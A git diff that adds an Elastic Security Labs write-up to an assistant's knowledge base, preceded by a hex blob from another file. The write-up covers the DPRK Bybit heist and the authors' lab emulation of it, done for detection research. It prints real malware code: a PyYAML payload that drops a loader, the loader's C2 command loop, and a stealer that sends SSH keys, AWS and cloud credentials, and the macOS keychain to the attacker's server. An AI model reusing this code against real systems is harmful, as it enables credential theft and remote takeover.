bcd536e2dca0f68d9623511be6face1558d053a8faaf4b7a694bf449aa638bd35c35c9e85bb13633046a23fc7176e781d9d453f06f65dc616152b3db3f0b70d8503e1fb3cd2aa9b273d4d32e62e59420f0597689df12ca228a31d686a7545f34a4320b06733a92f07acc183d982bc6f371885e0e73f5ee29bd41b472adfee74f1facc8c250d011082ee6c967beacfd8456cb956e93acbe6ed1369bab59bc8fadeda9846e1fd0fcfa4c786a667c370afa7468d7c59a69c29d9b410617fe160ceab96b007b3805502e1fd346dfaf38f1c20283135e55e1db6e9d230447a3260fa4bf5eccf8a9414e029134d75a35311358020b09af9f5429a1b1372e7ffe19becb1491127fcfb494abfc484e8c0dd9e27fd122feaca2dbeb788e69aa71f479abd3d494c3fb15d05618d468754d405c8866c4c64bd44510190bf37264d9827a833d006c2452d7050199f9247c5f6b9995a3723ab8e2036fa3d4e97816b1933978af37835d5a9c05e41a5db0cdd808119888ab8a3d521c6d3580feb0c8e9543c5b7997a0a34d55816000ef72c5a921c225167193644634c75eb2b3f9403e281d022ae197e9b86f51e08e3e361c12ad871a86738d60d9103749106df75bf122b6ad124cd25ed522ce6238909e775522f784cdf243285868d8a81dff0070d590c60fdefbf5d9f5fcf446c6a1ea23484f41f097e0396901281965c052d4c075971e6d01ceb7346ea8cb9270c1e29fb8da14e59217b776d271cbffd75e50dd785a6f0a199f346405dced1382bffca3e590912ef3bb1db677e95f8259b6c856070230fc81cf7fab16e4013b012d5d19bfdf283c06c0d50ad662a63d18efff9d24c2a83b84048f3457cfb9cf58c2f5288f8cef0de5393b908539adff23e580744dc66ae30b9e16682b9831f552767ca54ec027a22ec27f308a23c54a5c8eefc39d244dc6bcbf483898ccf7cbf127bab07629611eb5b36cefb57fde14005049a57489bbe5158f800cb9ba53e73f77054e70ac35a91a5bc78f9a093483182a3d55ffae05b249760b3bbbfe35958f20d61845e5c6bb15d68b685921b254597e02f62122a424d3204934e20cba302831e857fc15c8da930758c62d1635cddfb5c3732c38bd46a5ebd9aa011d8acad43d08aa07386028c917bafc6bb04f169dda1f5bf592c3713f7c49288479b6bafda9cf0912f904b689c05a568bd9fa0a59ddc623e582653988d742c6b94c9ac6fa97ea742e785a2808eb1702b694540c5fb79de8165999c9720464429cf66fc78ed409f88c7497e05619c47a705885ec0af26f2c2d41fa84d9430878673024a74b5a9c377cad52c6bcb357987209a02cea368eaf02cdfdc923a0338db472ebc7a6758805e2b0fffa5ba6eb0b84b394a29db35ad7de115111c9664fbc1e89d1203c6664b978d9185eea831ed5f3888ddbb95a6ac18daca18685ea54e93bab5db09cb139b33ccb2fdb192362a59cbdc04bd4ccd6c53b01584d892336f98bb695c4af6404203b2ce94bfe63b203b0710fb482957c8554db747118bae28fbc067ee79f3f9cbafe58de76987422443409cb2db463643215442d1c84c5bdaff81b4b4c7353fa1f890234c0aebbfeb5f6780c58d09cbad4d27a0bb92ff8581660fae0c84f3e57aea936d39f9bc496f479e506d613ed4d5925577a4c11407f2872d7780096836abc2e50088536c08dacefdad902eb54412d13861e02cd9b9047933e6beb653a282e8c449307fc075d8fad649ca4dd5f49a1f49fc5e3e1a943aec1e4dca9b874efbad6d045422a0275af3a73f1905031e58fd1c1307917f81d6ad93c5a495142d4763a5e6d39c07ec9a9f08c5aab77c1358dba7e7ad4587f794683eae9d038fda9dadd05cfb033d6f01e4855c9a3bda63dba380d7d0711fed35c26e2a8251fe403f2fed685eaf1dcc13afc212fa47c999df8239a8bdae31e42ab980fdaf53592a96ed64f91234369c067b6ddad55e66cedf3af0ca8872b2396d37e7af3d7dd6f6fec4a81713481fa6d8d02c3add461b4e1f0c8a309789a19968d1191c048026c4f9b90dfa9c397d9364a3972dd28aebcb7b2fa34acc39aa8c87257194cfb7747107473f3cff2155dc83968a4816cfa24de20c3938f792bcf7e20cb8b5464b3b2c266487fdd1086006327401e78cd5d6a78dda09006c0e946026a3f6867f3539c9a68b1a289bb7707ea4b57cb7f3ec97f028773cb889a2217e57d17f2db4c54c00abb34b8255591b8c33bd9a272938eca8c2a5989613a25749c39789170b2f43c65ef43a7f2e2d29b3c7985c455161bfbc6733a35b44c54903e95c842ff5a864b86375f8093e8b013d7daa33924132a263c3ddef92861b5b0f791457a66d22d3e04360f677b6eef682a2af6c94d4f79aaa6b5a1f5b3aef9e3a8acfcc49a0eb100bdf6be79f3a4d6f002b64fb7a33826bb3fc3bfaf0f0f1c234d27f8fadf3a650acb4f936d10377eeda9f9e0bf58aab84270bc75e989124ec367a2847fbd3af5a31bd389af141369c2c15e718e6beae5fbecac1d4a6288e6fd2021456add5eaf83477be5d594df91ee5d17f598597965ab8b285b2264391e9aba3a599d91e3e30d077acdd9ad7c028ec061e67055603eb9407f4d74e0ef4b778eb6458e5199a9a94aed76fbbe092c28eb108fe8cf6e8cf44c9e3bae60ec17046563d115dd6c6e1b74a5f3d8bdcadefe3d9d9c8c28427c0832c3446a085ba72f64415e84c2180f902ead3f4f90ed450be240c91029846658d7322ce6e8d19398ef68ba02f0f8f85e6f76a5a6f3c6c8c8407c235e90d4c61ac39d027b9e45f804e0d1e0d3af829693bd8331f21c22e8422662c61cc56ff71bf76a9249e6a2294f2088d4726c0cd6012dbaae65c1b742c481c03c0578c5add3df3a719726f73498ee82af6eeee427dbc8e89cf75728e1718a1b724376d97d67a0a5b18050eabaa06e8c77a4c861a870bb682fe77f65d3c42321c4167782d2268e23e26aa64d076ab98c37509dd6d65d6f31297aeaa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfddaaea11bf3c82ce6d86e42af7647ec5111c5f11ef2ed057851d20aad090e074b71de5a90e85941774793936547445f9198c850d1f54e92c68ca18b2a45894b0d11eafb9677546bc764e2b203a41dfa26c49f7defe1a7c77c1a479e6424da0b43c551359df9b07c881885c6babd461ebce626f259ce9c5503ce1a59595b0c848f638e99e3f530f4e103997b1ffcc89e90563d825dbca795377f7ab0d75346e081f62c1c43ebc7b4e2f67680316d827e4f35bc7208f0dac32c30a65f6e350f6debc3ab2efa6d1ebd52a3f6b98d5cd437aa57d77fc0f29ce58858a7937fdccb95352a63f265219236bc25cb6b1d8673aac43d8153a05e2ec1ece8ab62ecbec7d5b5175dd188c2c81e3f2346adbe80d76c02ffdaaffa4e93777d3537bd822d39f7ff6e6bbe26190f768de4d83123e8dfb6813e1a7ad395403eea3b6917aeef5258a2786dd9ff97fc16d50c1e96696f29e9c5da567475ce11896d33279bf5a581c1922886898e970e5abefcd3ee645d2b110425298da98cc4809292dd92f32aec02a85091038335407f05c374ad33710d06157b655c1686527479b37569c7a36b41984b086d3041a41c46302f3bea7a21fdb5ae190920f21071d190bc2025703a1a7e06ec6f418dddf57a0844defef962949057f9d285210803fecf9125b095e1af2e9e7675e52cf6845bf312831b5f2251b041818f4a58a2b18174300bd782f308a80851c2a967baeea473d4fea447be7fecc5fa17ccf8ccc1942bea1c61f528d17a3700976b6b875865b653eaf730c97d2a6bbf5c1215f7f58672b2adb0743f401da8cf5538fb4874f1af959580874ebab65012925fcd31b7fddded0c8fac33f175552d79f66fc28fccd072674df41b857fdc1424fa60c545a2aa62b755db31146f29b8cfba6ba8e7c1b169772da97f0f7f6fc03aeef8f838e7b322a1f6aea70f16c02acaa30807508211e100e32a23342e09a692d95ab7ae17eab2d477c1da82cc071708866dd4eac9645551d3a30367cfb39f2c3150566e9c442ac30a3252250489a844f976aec7419db619298d3f5f066f94a1b6f8c6e5b43b2dcf85d4df69ee6d9b05735d1a730b9e4b99d1df33bee7f9617d283744bad65e4e830ff2ce0d667100be77051e75e0e973612fe0edb9c1b295b02e13dad1d4e66e774ffcd5002549ec3592db71d72c8ad3016a2bdf7b25aa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfddfe471cb2c732a53697d7cc659791f54e62cb43f94265cdcf8765c71706b25aad33e1cf83ebedc1cdd1fd4a68f23cdbacf3a40b4ab0342ede5bf6bacbd40b39a \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/bit_bybit.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/bit_bybit.md new file mode 100644 index 0000000000000..f956cb275443b --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/bit_bybit.md @@ -0,0 +1,643 @@ +--- +title: "Bit ByBit - emulation of the DPRK's largest cryptocurrency heist" +slug: "bit-bybit" +date: "2025-05-06" +description: "A high-fidelity emulation of the DPRK's largest cryptocurrency heist via a compromised macOS developer and AWS pivots." +author: + - slug: colson-wilhoit + - slug: terrance-dejesus +image: "bit-bybit.jpg" +category: + - slug: attack-pattern + - slug: detection-science +--- + +## Key takeaways + +Key takeaways from this research: + +- PyYAML was deserialization as initial access vector +- The attack leveraged session token abuse and AWS lateral movement +- Static site supply chain tampering +- Docker-based stealth on macOS +- End-to-end detection correlation with Elastic + +## Introduction + +On February 21, 2025, the crypto world was shaken when approximately 400,000 ETH vanished from ByBit —one of the industry’s largest cryptocurrency exchanges. Behind this incredible theft is believed to be North Korea’s elite cyber-offensive unit, referred to as [TraderTraitor](https://www.ic3.gov/PSA/2025/PSA250226). Exploiting a trusted vendor relationship with Safe\{Wallet\}, a multisig (multi-signature) wallet platform, TraderTraitor transformed a routine transaction into a billion-dollar heist. Supply chain targeting has become a hallmark of the DPRK’s cyber strategy, underpinning the regime’s theft of more than [$6 billion](https://www.chainalysis.com/blog/crypto-hacking-stolen-funds-2025/) in cryptocurrency since 2017. In this article we’ll dissect this attack, carefully emulate its tactics within a controlled environment, and provide practical lessons to reinforce cybersecurity defenses using Elastic’s product and features. + +Our emulation of this threat is based on research released by [Sygnia](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/), [Mandiant/SAFE](https://x.com/safe/status/1897663514975649938), [SlowMist](https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34), and [Unit42](https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/). + +![](/assets/images/bit-bybit/image12.png) + +## Chronology of events + +If you're here for the technical emulation details, feel free to skip ahead. But for context— and to clarify what was officially reported— we've compiled a high-level timeline of events to ground our assumptions based on the research referenced above. + +**February 2, 2025** – Infrastructure Setup + + +The attacker registers the domain getstockprice[.]com via Namecheap. This infrastructure is later used as the C2 endpoint in the initial access payload. + +**February 4, 2025** – Initial Compromise + + +Developer1’s macOS workstation is compromised after executing a malicious Python application. This application contained Docker-related logic and referenced the attacker’s domain. The file path (`~/Downloads/`) and malware behavior suggest social engineering (likely via Telegram or Discord, consistent with past [REF7001](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn) and UNC4899 tradecraft). + +**February 5, 2025** – AWS Intrusion Begins + + + +Attacker successfully accesses Safe\{Wallet\}’s AWS environment using Developer1’s active AWS session tokens.Attacker attempts (unsuccessfully) to register their own virtual MFA device to Developer1’s IAM user, indicating a persistence attempt. + +**February 5–17**: Reconnaissance activity begins within the AWS environment. During this time, attacker actions likely included the enumeration of IAM roles, S3 buckets, and other cloud assets. + +**February 17, 2025** – AWS Command and Control Activity + + +Confirmed C2 traffic observed in AWS. This marks the shift from passive reconnaissance to active staging of the attack. + +**February 19, 2025** – Web Application Tampering + + +A snapshot of app.safe.global (Safe\{Wallet\}’s statically hosted Next.js web app) captured by the Wayback Machine shows the presence of malicious JavaScript. The payload was crafted to detect a Bybit multisig transaction and modify it on-the-fly, redirecting funds to the attacker’s wallet. + +**February 21, 2025** – Execution and Cleanup + + +The exploit transaction is executed against Bybit via the compromised Safe\{Wallet\} frontend. + +A new Wayback Machine snapshot confirms the JavaScript payload has been removed—indicating the attacker manually scrubbed it post-execution. + +The Bybit heist transaction is finalized. Approximately 400,000 ETH is stolen. Subsequent analysis by Sygnia and others confirms that Bybit infrastructure was not directly compromised—Safe\{Wallet\} was the sole point of failure. + +## Assumptions for emulation + +* Initial Social Engineering Vector: +Social engineering was employed to compromise Developer1, resulting in the execution of a malicious Python script. The exact details of the social engineering tactic (such as specific messaging, impersonation techniques, or the communication platform used) remain unknown. +* Loader and Second-Stage Payload: +The malicious Python script executed a second-stage loader. It is currently unclear whether this loader and subsequent payloads match those detailed in Unit42's reporting, despite alignment in the initial access Python application's characteristics. +* Safe Application Structure and Workflow: +The compromised application (`app.global.safe`) appears to be a Next.js application hosted statically in AWS S3. However, specific details such as its exact routes, components, development processes, version control methods, and production deployment workflow are unknown. +* JavaScript Payload Deployment: +While attackers injected malicious JavaScript into the Safe\{Wallet\} application, it is unclear whether this involved rebuilding and redeploying the entire application or merely overwriting/modifying a specific JavaScript file. +* AWS IAM and Identity Management Details: +Details regarding Developer1’s IAM permissions, roles, and policy configurations within AWS are unknown. Additionally, whether Safe\{Wallet\} used AWS IAM Identity Center or alternative identity management solutions remains unclear. +* AWS Session Token Retrieval and Usage: +While reports confirm the attackers used temporary AWS session tokens, details about how Developer1 originally retrieved these tokens (such as through AWS SSO, `GetSessionToken`, or specific MFA configurations) and how they were subsequently stored or utilized (e.g., environment variables, AWS config files, custom scripts) are unknown. +* AWS Enumeration and Exploitation Techniques: +The exact tools, enumeration methodologies, AWS API calls, and specific actions carried out by attackers within the AWS environment between February 5 and February 17, 2025, remain undisclosed. +* AWS Persistence Mechanisms: +Although there is an indication of potential persistence within AWS infrastructure (e.g., via EC2 instance compromise), explicit details including tools, tactics, or persistence methods are not provided. + +## Overview of the attack + +Targeting companies within the crypto ecosystem is a common occurrence. DPRK continually targets these companies due to the relative anonymity and decentralized nature of cryptocurrency, enabling the regime to evade global financial sanctions. North Korea's offensive cyber groups excel at identifying and exploiting vulnerabilities, resulting in billions of dollars in losses. + +This intrusion began with the [targeted compromise](https://x.com/safe/status/1897663514975649938?s=09) of a developer's MacOS workstation at Safe\{Wallet\}, ByBit’s trusted multi-signature wallet provider. Initial access involved social engineering, likely approaching the developer via platforms like LinkedIn, Telegram, or Discord, based on previous campaigns, and convincing them to download an archive file containing a crypto-themed Python application—an initial access procedure favored by DPRK. This Python application also included a Dockerized version of the application that could be run inside a privileged container. Unknown to the developer, this seemingly benign application enabled DPRK operators to exploit a remote code execution (RCE) [vulnerability](https://www.cvedetails.com/cve/CVE-2017-18342/) in the PyYAML library, providing code execution capabilities and subsequently control over the host system. + +After gaining initial access to the developer's machine, attackers deployed [MythicC2](https://github.com/its-a-feature/Mythic)'s [Poseidon agent](https://github.com/MythicAgents/poseidon), a robust Golang-based payload offering advanced stealth and extensive post-exploitation capabilities for macOS environments. The attackers then may have conducted reconnaissance, discovering the developer's access to Safe\{Wallet\}’s AWS environment and the usage of temporary AWS user session tokens secured via multi-factor authentication (MFA). Armed with the developer's AWS access key ID, secret key, and temporary session token, the threat actors then authenticated into Safe\{Wallet\}’s AWS environment within approximately 24 hours, capitalizing on the 12-hour validity of the session tokens. + +Attempting to ensure persistent access to the AWS environment, the attackers tried to register their own MFA device. However, AWS temporary session tokens do not permit IAM API calls without [MFA authentication context](https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html#:~:text=You%20cannot%20call%20any%20IAM,in%20the%20IAM%20User%20Guide), causing this attempt to fail. Following this minor setback, the threat actor enumerated the AWS environment, eventually discovering an S3 bucket hosting Safe\{Wallet\}'s static Next.js user interface. + +The attackers could then have downloaded this Next.js application’s bundled code, spending nearly two weeks analyzing its functionality before injecting malicious JavaScript into the primary JS file and overwriting the legitimate version hosted in the S3 bucket. The malicious JavaScript code was activated exclusively on transactions initiated from Bybit’s cold wallet address and an attacker-controlled address. By inserting hardcoded parameters, the script circumvented transaction validation checks and digital signature verifications, effectively deceiving ByBit wallet approvers who implicitly trusted the Safe\{Wallet\} interface. + +Shortly thereafter, the DPRK initiated a fraudulent transaction, triggering the malicious script to alter transaction details. This manipulation, likely, contributed to misleading the wallet signers into approving the illicit transfer, thereby granting DPRK operatives control of approximately 400,000 ETH. These stolen funds were then laundered into attacker-controlled wallets. + +We chose to end our research and behavior emulation at the compromise of the Next.js application. Thus, we do not dive into the blockchain technologies, such as ETH smart contracts, contract addresses, and sweep ETH calls discussed in several other research publications. + +## Emulating the attack + +To truly understand this breach we decided to emulate the entire attack chain in a controlled lab environment. As security researchers at Elastic, we wanted to walk in the footsteps of the attacker to understand how this operation unfolded at each stage: from code execution to AWS session hijacking and browser-based transaction manipulation. + +This hands-on emulation served a dual purpose. First, it allowed us to analyze the attack at a granular, technical level to uncover practical detection and prevention opportunities. Second, it gave us the chance to test Elastic’s capabilities end-to-end—to see whether our platform could not only detect each phase of the attack, but also correlate them into a cohesive narrative that defenders could act on. + +### MacOS endpoint compromise + +Thanks to [Unit42](https://unit42.paloaltonetworks.com/)’s detailed write-up—and more critically, uploading recovered samples to VirusTotal—we were able to emulate the attack end-to-end using the actual payloads observed in the wild. This included: + +* PyYAML deserialization payload +* Python loader script +* Python stealer script + +#### Malicious Python Application + +The initial access Python application we used in our emulation aligns with samples highlighted and shared by [SlowMist](https://www.slowmist.com/) and corroborated by Mandiant's [incident response findings](https://x.com/safe/status/1897663514975649938) from the SAFE developer compromise. This application also matched the directory structure of the application shown by Unit42 in their write-up. Attackers forked a legitimate stock-trading Python project from GitHub and backdoored it within a Python script named `data_fetcher.py`. + +![Python Application Directory Structure](/assets/images/bit-bybit/image13.png) + +The application leverages [Streamlit](https://streamlit.io/) to execute `app.py`, which imports the script `data_fetcher.py`. + +![Python Application README.txt usage](/assets/images/bit-bybit/image5.png) + +The `data_fetcher.py` script includes malicious functionality designed to reach out to an attacker-controlled domain. + +![data_fetcher.py class with yaml.load functionality](/assets/images/bit-bybit/image8.png) + +The script, by default, fetches valid stock market-related data. However, based on specific conditions, the attacker-controlled server can return a malicious YAML payload instead. When evaluated using PyYAML’s unsafe loader (`yaml.load()`), this payload allows for arbitrary Python object deserialization, resulting in RCE. + +#### PyYAML Deserialization Payload + +(VT Hash: `47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f`) + +We recreated this malicious setup by hosting the YAML deserialization payload on a Python+Flask web application, using PythonAnywhere to mimic attacker infrastructure. We updated the malicious URL in the `data_fetcher.py` script to point to our PythonAnywhere-hosted YAML payload. + +When PyYAML loads and executes the malicious YAML payload, it performs the following actions: + +First, it creates a directory named `Public` in the victim’s home directory. + +```py +directory = os.path.expanduser("~") +directory = os.path.join(directory, "Public") + +if not os.path.exists(directory): + os.makedirs(directory) +``` + +Next, it decodes and writes a base64-encoded Python loader script into a new file named `__init__.py` within the `Public` directory. + +```py +filePath = os.path.join(directory, "__init__.py") + +with open(filePath, "wb") as f: + f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT")) +``` + +Finally, it executes the newly created `__init__.py` script silently in the background, initiating the second stage of the attack. + +```py +subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL) +``` + +#### Python Loader Script + +(VT Hash: `937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79`) + +To avoid leaving forensic evidence, the loader first deletes its file (`__init__.py`) after execution, leaving it running in memory only. + +```py +directory = os.path.join(home_directory, "Public") + + if not os.path.exists(directory): + os.makedirs(directory) + + try: + body_path = os.path.join(directory, "__init__.py") + os.remove(body_path) +``` + +This loader’s primary goal is to establish continuous communication with the Command-and-Control (C2) server. It gathers basic system information—like OS type, architecture, and system version—and sends these details to the C2 via an HTTP POST request to the hardcoded /club/fb/status URL endpoint. + +```py +params = { + "system": platform.system(), + "machine": platform.machine(), + "version": platform.version() + } + while True: + try: + response = requests.post(url, verify=False, data = params, timeout=180) +``` + +Based on the server’s response (ret value), the loader decides its next steps. + +##### ret == 0: + +The script sleeps for 20 seconds and continues polling. + +```py +if res['ret'] == 0: + time.sleep(20) + continue +``` + +##### ret == 1: + +The server response includes a payload in Base64. The script decodes this payload, and writes it to a file—named `init.dll` if on Windows or `init` otherwise—and then dynamically loads the library using `ctypes.cdll.LoadLibrary`, which causes the payload to run as a native binary. + +```py +elif res['ret'] == 1: + if platform.system() == "Windows": + body_path = os.path.join(directory, "init.dll") + else: + body_path = os.path.join(directory, "init") + with open(body_path, "wb") as f: + binData = base64.b64decode(res["content"]) + f.write(binData) + os.environ["X_DATABASE_NAME"] = "" + ctypes.cdll.LoadLibrary(body_path) +``` + +##### ret == 2: + +The script decodes the Base64 content into Python source code and then executes it using Python’s `exec()` function. This allows for running arbitrary Python code. + +```py +elif res['ret'] == 2: + srcData = base64.b64decode(res["content"]) + exec(srcData) +``` + +##### ret == 3: + +The script decodes a binary payload (`dockerd`) and a binary configuration file (`docker-init`) into two separate files, sets their permissions to be executable, and then attempts to run them as a new process, supplying the config file as an argument to the binary payload. After execution of the binary payload, it deletes its executable file, leaving the config file on disk for reference. + +```py +elif res['ret'] == 3: + path1 = os.path.join(directory, "dockerd") + with open(path1, "wb") as f: + binData = base64.b64decode(res["content"]) + f.write(binData) + + path2 = os.path.join(directory, "docker-init") + with open(path2, "wb") as f: + binData = base64.b64decode(res["param"]) + f.write(binData) + + os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | + stat.S_IRGRP | stat.S_IXGRP | + stat.S_IROTH | stat.S_IXOTH) + + os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | + stat.S_IRGRP | stat.S_IXGRP | + stat.S_IROTH | stat.S_IXOTH) + + try: + process = subprocess.Popen([path1, path2], start_new_session=True) + process.communicate() + return_code = process.returncode + requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)}) + except: + pass + + os.remove(path1) +``` + +##### ret == 9: + +The script breaks out of its polling loop, terminating further actions. + +```py +elif res['ret'] == 9: + break +``` + +After processing any command, the script continues to poll for further instructions from the C2 server. + +#### Python Loader Emulation + +Our goal was to test each of the command options within the loader to better understand what was happening, collect relevant telemetry data, and analyze it for the purpose of building robust detections for both our endpoint and the SIEM. + +**Ret == 1: Write Library to Disk, Load and Delete Dylib** + +The payload we used for this option was a [Poseidon](https://github.com/MythicAgents/poseidon) payload compiled as a shared library (`.dylib`). + +![Mythic C2 Payload Builder](/assets/images/bit-bybit/image9.png) + +We then base64-encoded the binary and were able to hardcode the path to that base64-encoded payload in our C2 server to be served when testing this specific loader command. + +```shell +base64 poseidon.dylib > poseidon.b64 +``` + +```py +BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD" # For ret==1 +STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2 +MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3 +# For testing we simulate a command to send. +# Options: 0, 1, 2, 3, 9. +# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate. +COMMAND_TO_SEND = 1 # Change this value to test different actions +``` + +Once we received our Poseidon payload callback to our [Mythic C2](https://github.com/its-a-feature/Mythic) we were able to retrieve credentials using a variety of different methods provided by Poseidon. + +Option 1: [download command](https://github.com/MythicAgents/poseidon/blob/master/documentation-payload/poseidon/commands/download.md) \- Access file, reads content, sends data back to C2. +Option 2: [getenv command](https://github.com/MythicAgents/poseidon/blob/master/documentation-payload/poseidon/commands/getenv.md) \- Read user environment variables and send content back to C2. +Option 3: [jsimport](https://github.com/MythicAgents/poseidon/blob/master/Payload_Type/poseidon/poseidon/agentfunctions/jsimport.go) & [jsimport\_call](https://github.com/MythicAgents/poseidon/blob/master/Payload_Type/poseidon/poseidon/agentfunctions/jsimport_call.go) commands \- Import JXA script into memory then call a method within the JXA script to retrieve credentials from file and return contents. + +##### Ret == 2: Receive and Execute arbitrary Python code within Process Memory + +(VT Hash: `e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7`) + +The loader script allows for the running of arbitrary Python code or scripts, in memory. In Unit42’s blog they provided a Python script they observed the DPRK executing via this return value. This script collects a vast amount of data. This data is XOR encoded and sent back to the C2 server via a POST request. For the emulation all that was needed was to add our C2 URL with the appropriate route as defined in our C2 server and base64 encode the script hardcoding its path within our server for when this option was tested. + +```py +def get_info(): + global id + id = base64.b64encode(os.urandom(16)).decode('utf-8') + + # get xor key + while True: + if not get_key(): + break + + base_info() + send_directory('home/all', '', home_dir) + send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db')) + send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True) + send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True) + send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True) + send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True) + finalize() + break +``` + +##### Ret == 3: Write Binary Payload and Binary Config to Disk, Execute Payload and Delete File + +For ret == 3 we used a standard Poseidon binary payload and a “configuration file” containing binary data as specified in the loader script. We then base64 encoded both the binary and config file like the ret == 1 option above and hardcoded their paths in our C2 server for serving when testing this command. Same as the ret == 1 option above we were able to use those same commands to collect credentials from the target system. + +#### C2 Infrastructure + +We created a very simple and small C2 server, built with Python+Flask, intended to listen with a specified port on our Kali Linux VM and evaluate incoming requests, responding appropriately based on the route and return value we wished to test. + +![Custom Python+Flask C2 Server](/assets/images/bit-bybit/image15.png) + +We also used the open source [Mythic C2](https://github.com/its-a-feature/Mythic) in order to facilitate the creation and management of the Poseidon payloads we used. Mythic is an open source C2 framework created and maintained by [Cody Thomas](https://github.com/its-a-feature) at [SpecterOps](https://specterops.io/). + +![Mythic C2 Active Callbacks Interactive Agent Window](/assets/images/bit-bybit/image14.png) + +#### Malicious Python Application: Docker Version + +We also explored a Dockerized variant of the malicious Python application. This version was packaged in a minimal Python Docker container (python:3.12.2-slim) running in privileged mode, granting it the ability to access host resources. + +A containerized application creates a telemetry and detection blind spot on macOS because Apple's Endpoint Security Framework (ESF) lacks the ability to introspect containerized processes. While ESF and endpoint detection solutions can still observe the trusted Docker process accessing sensitive host files—such as SSH keys, AWS credentials, or user configuration data—these actions commonly align with standard developer workflows. As a result, security tools are less likely to scrutinize or trigger alerts on containerized activities, offering attackers increased stealth when operating from within Docker environments. + +This highlights the necessity for additional monitoring like [OSQuery](https://www.osquery.io/) and [Docker](https://www.docker.com/) log file collection to complement standard macOS endpoint defenses. Elastic offers both [OSQuery](https://www.elastic.co/docs/reference/integrations/osquery_manager) and [Docker](https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-container) log file collection via our [data integrations](https://www.elastic.co/integrations/data-integrations) for Elastic Agent alongside our Endpoint protection features. + +#### MacOS Emulation Conclusion + +Our emulation recreated the attack against the SAFE developers’ macOS system end-to-end using the real world payloads. + +**Malicious Python App:** + +We began by replicating the malicious Python application described in both Mandiant’s findings and Unit42’s report. The attackers had forked a legitimate open-source application and embedded RCE access within `data_fetcher.py`. This script made outbound requests to an attacker-controlled server and conditionally fetched a malicious YAML file. Using PyYAML’s `yaml.load()` with an unsafe loader, the attacker triggered arbitrary code execution via deserialization. + +**PyYAML Payload Deserialization resulting in Python Loader Script Execution:** + +The YAML payload wrote a base64-encoded second-stage loader to `~/Public/__init__.py` and executed it in a detached process. We mimicked this exact flow using a Flask-based staging server hosted on PythonAnywhere. + +**Python Loader Execution & C2 Interaction:** + +Once launched, the loader deleted its on disk file and beaconed to our emulated C2, awaited tasking. Based on the C2’s response code (`ret`), we tested the following actions: + +* **ret == 1**: The loader decoded a Poseidon payload (compiled as a `.dylib`) and executed it using `ctypes.cdll.LoadLibrary()`, resulting in native code execution from disk. +* **ret == 2**: The loader executed an in-memory Python stealer, matching the script shared by Unit42. This script collected system, user, browser, and credential data and exfiltrated it via XOR-encoded POST requests. +* **ret == 3**: The loader wrote a Poseidon binary and a separate binary configuration file to disk, executed the binary with the config as an argument, then deleted the payload. +* **ret == 9**: The loader terminated its polling loop. + +**Data Collection: Pre-Pivot Recon & Credential Access:** + +During our **ret == 2** test, the Python stealer gathered: + +* macOS system information (`platform`, `os`, `user`) +* Chrome user data (Bookmarks, Cookies, Login Data, etc.) +* SSH private keys (`~/.ssh`) +* AWS credentials (`~/.aws/credentials`) +* macOS Keychain files (`login.keychain-db`) +* GCP/Kube config files from `.config/` + +This emulates the pre-pivot data collection that preceded cloud exploitation, and reflects how DPRK actors harvested AWS credentials from the developer’s local environment. + +With valid AWS credentials, the threat actors then pivoted into the cloud environment, launching the second phase of this intrusion. + +![AWS cloud compromise execution flow](/assets/images/bit-bybit/image22.png) + +### AWS cloud compromise + +#### Pre-requisities and Setup + +To emulate the AWS stage of this attack, we first leveraged Terraform to stand up the necessary infrastructure. This included creating an IAM user (developer) with an overly permissive IAM policy granting access to S3, IAM, and STS APIs. We then pushed a locally built Next.js application to an S3 bucket and confirmed the site was live, simulating a simple Safe\{Wallet\} frontend. + +Our choice of `Next.js` was predicated on the original S3 bucket static site path - `https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js` + +Before injecting any malicious code, we verified the integrity of the site by performing a test transaction using a known target wallet address to ensure the application responded as expected. + +![Transaction by custom frontend static site](/assets/images/bit-bybit/image1.png) + +#### Temporary Session Token Retrieval + +Following the initial access and post-compromise activity on the developer’s macOS workstation, early assumptions focused on the adversary retrieving credentials from default AWS configuration locations - such as `~/.aws` or from user environment variables. It was later confirmed by Unit42’s blog that the Python stealer script targeted AWS files. These locations often store long-term IAM credentials or temporary session tokens used in standard development workflows. Based on public reporting, however, this specific compromise involved AWS user session tokens, not long-term IAM credentials. In our emulation, as the developer we added our virtual MFA device to our IAM user, enabled it and then retrieved our user session token and exported the credentials to our environment. Note that on our Kali Linux endpoint, we leveraged ExpressVPN - as done by the adversaries - for any AWS API calls or interactions with the developer box. + +It is suspected 